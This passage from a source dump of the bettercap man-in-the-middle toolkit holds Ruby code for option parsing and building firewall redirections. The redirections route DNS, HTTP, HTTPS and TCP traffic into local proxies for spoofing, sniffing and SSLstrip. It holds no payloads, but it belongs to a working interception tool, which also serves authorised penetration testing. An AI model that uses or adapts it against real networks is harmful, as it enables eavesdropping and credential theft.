to_url(max_length = 50) 161 | url = "#{base_url}#{@path}" 162 | unless max_length.nil? 163 | url = url.slice(0..max_length) + '...' unless url.length <= max_length 164 | end 165 | url 166 | end 167 | 168 | # Return the value of header with +name+ or an empty string. 169 | def [](name) 170 | ( @headers.has_key?(name) ? @headers[name] : "" ) 171 | end 172 | 173 | # If the header with +name+ is found, then a +value+ is assigned to it. 174 | # If +value+ is null and the header is found, it will be removed. 175 | def []=(name, value) 176 | if @headers.has_key?(name) 177 | if value.nil? 178 | @headers.delete(name) 179 | else 180 | @headers[name] = value 181 | end 182 | elsif !value.nil? 183 | @headers[name] = value 184 | end 185 | 186 | @host = value if name == 'Host' 187 | end 188 | end 189 | 190 | end 191 | end 192 | end 193 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/options/options.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | # Parse command line arguments, set options and initialize +Context+ 16 | # accordingly. 17 | class Options 18 | # Core options 19 | attr_reader :core 20 | # Spoofing related options. 21 | attr_reader :spoof 22 | # Sniffing related options. 23 | attr_reader :sniff 24 | # Proxies related options. 25 | attr_reader :proxies 26 | # Misc servers related options. 27 | attr_reader :servers 28 | 29 | # Create a BetterCap::Options class instance using the specified network interface. 30 | def initialize( iface ) 31 | @core = CoreOptions.new iface 32 | @spoof = SpoofOptions.new 33 | @sniff = SniffOptions.new 34 | @proxies = ProxyOptions.new 35 | @servers = ServerOptions.new 36 | end 37 | 38 | # Initialize the BetterCap::Context, parse command line arguments and update program 39 | # state accordingly. 40 | # Will rise a BetterCap::Error if errors occurred. 41 | def self.parse! 42 | ctx = Context.get 43 | 44 | OptionParser.new do |opts| 45 | opts.version = BetterCap::VERSION 46 | opts.banner = "Usage: bettercap [options]" 47 | 48 | ctx.options.core.parse!( ctx, opts ) 49 | ctx.options.spoof.parse!( ctx, opts ) 50 | ctx.options.sniff.parse!( ctx, opts ) 51 | ctx.options.proxies.parse!( ctx, opts ) 52 | ctx.options.servers.parse!( ctx, opts ) 53 | 54 | end.parse! 55 | 56 | # Initialize logging system. 57 | Logger.init( ctx ) 58 | 59 | if ctx.options.core.check_updates 60 | UpdateChecker.check 61 | exit 62 | end 63 | 64 | # Validate options. 65 | ctx.options.validate!( ctx ) 66 | # Load firewall instance, network interface informations and detect the 67 | # gateway address. 68 | ctx.update! 69 | 70 | ctx 71 | end 72 | 73 | def validate!( ctx ) 74 | @core.validate! 75 | @proxies.validate!( ctx ) 76 | # Print starting message. 77 | starting_message 78 | end 79 | 80 | def need_gateway? 81 | ( @core.discovery? or @spoof.enabled? ) 82 | end 83 | 84 | # Helper method to create a Firewalls::Redirection object. 85 | def redir( address, port, to, proto = 'TCP' ) 86 | Firewalls::Redirection.new( @core.iface, proto, nil, port, address, to ) 87 | end 88 | 89 | # Helper method to create a Firewalls::Redirection object for a single address ( +from+ ). 90 | def redir_single( from, address, port, to, proto = 'TCP' ) 91 | Firewalls::Redirection.new( @core.iface, proto, from, port, address, to ) 92 | end 93 | 94 | # Create a list of BetterCap::Firewalls::Redirection objects which are needed 95 | # given the specified command line arguments. 96 | def get_redirections iface 97 | redirections = [] 98 | 99 | if @servers.dnsd or @proxies.sslstrip? 100 | redirections << redir( iface.ip, 53, @servers.dnsd_port ) 101 | redirections << redir( iface.ip, 53, @servers.dnsd_port, 'UDP' ) 102 | end 103 | 104 | if @proxies.proxy 105 | @proxies.http_ports.each do |port| 106 | if @proxies.proxy_upstream_address.nil? 107 | redirections << redir( iface.ip, port, @proxies.proxy_port ) 108 | else 109 | redirections << redir_single( @proxies.proxy_upstream_address, iface.ip, port, @proxies.proxy_port ) 110 | end 111 | end 112 | end 113 | 114 | if @proxies.proxy_https 115 | @proxies.https_ports.each do |port| 116 | if @proxies.proxy_upstream_address.nil? 117 | redirections << redir( iface.ip, port, @proxies.proxy_https_port ) 118 | else 119 | redirections << redir_single( @proxies.proxy_upstream_address, iface.ip, port, @proxies.proxy_port ) 120 | end 121 | end 122 | end 123 | 124 | if @proxies.tcp_proxy 125 | redirections << redir_single( @proxies.tcp_proxy_upstream_address, iface.ip, @proxies.tcp_proxy_upstream_port, @proxies.tcp_proxy_port ) 126 | end 127 | 128 | if @proxies.custom_proxy 129 | @proxies.http_ports.each do |port| 130 | redirections << redir( @proxies.custom_proxy, port, @proxies.custom_proxy_port ) 131 | end 132 | end 133 | 134 | if @proxies.custom_https_proxy 135 | @proxies.https_ports.each do |port| 136 | redirections << redir( @proxies.custom_https_proxy, port, @proxies.custom_https_proxy_port ) 137 | end 138 | end 139 | 140 | @proxies.custom_redirections.each do |r| 141 | redirections << redir( iface.ip, r[:from], r[:to], r[:proto] ) 142 | end 143 | 144 | redirections 145 | end 146 | 147 | # Print the starting status message. 148 | def starting_message 149 | on = '✔'.green 150 | off = '✘'.red 151 | status = { 152 | 'spoofing' => ( @spoof.enabled? ? on : off ), 153 | 'discovery' => ( @core.discovery? ? on : off ), 154 | 'sniffer' => ( @sniff.enabled? ? on : off ), 155 | 'tcp-proxy' => ( @proxies.tcp_proxy ? on : off ), 156 | 'http-proxy' => ( @proxies.proxy ? on : off ), 157 | 'https-proxy' => ( @proxies.proxy_https ? on : off ), 158 | 'sslstrip' => ( @proxies.sslstrip? ? on : off ), 159 | 'http-server' => ( @servers.httpd ? on : off ), 160 | 'dns-server' => ( @proxies.sslstrip? or @servers.dnsd ? on : off ) 161 | } 162 | 163 | end 164 | end 165 | end 166 | --------------------------------------------------------------------------------